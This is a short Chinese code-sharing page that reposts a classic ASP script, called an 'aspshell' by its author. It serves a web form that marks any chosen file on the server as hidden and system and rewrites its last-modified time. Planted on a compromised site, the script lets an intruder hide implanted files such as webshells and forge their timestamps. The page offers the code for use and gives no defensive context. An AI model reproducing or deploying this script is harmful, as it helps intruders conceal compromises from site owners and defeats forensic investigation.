asp 隐藏并修改文件的最后修改时间

时间:2022-06-01 12:49:29

asp 隐藏并修改文件的最后修改时间


源码: 

复制代码代码如下:

<% 
'隐藏并修改文件的最后修改时间的aspshell 
'原理:通过FSO可以修改文件的属性,比如设置为只读,隐藏,系统等等;FSO中的attributes属性修改文件属性,1只读,2隐藏,4系统文件 
' 通过shell.application可以给文件重新设置一个最后修改时间 
'2009/02/24 write by skyfire 
response.write "<form method=post>" 
response.write "路 径:<input name=path value='"&server.mappath("/")&"' size='30'>(一定要以\结尾)<br />" 
response.write "文件名称:<input name=filename value='test.txt' size='30'><br />" 
response.write "修改时间:<input name=time value='12/30/2099 12:30:30' size='30'><br />" 
response.write "<input type=submit value=修改并隐藏文件>" 
response.write "</form>" 
'获取提交的参数 
set path=request.Form("path") 
set fileName=request.Form("filename") 
set newTime=request.Form("time") 
if( (len(path)>0)and(len(fileName)>0)and(len(newTime)>0) )then 
'通过fso设置文件属性 
Set fso=Server.CreateObject("Scripting.FileSystemObject") 
Set file=fso.getFile(path&fileName) 
file.attributes=2+4 '设置文件属性为隐藏+系统 
'通过shell.Application修改文件的最后修改时间 
Set shell=Server.CreateObject("Shell.Application") 
Set app_path=shell.NameSpace(server.mappath(".")) 
Set app_file=app_path.ParseName(fileName) 
app_file.Modifydate=newTime 
end if 
%>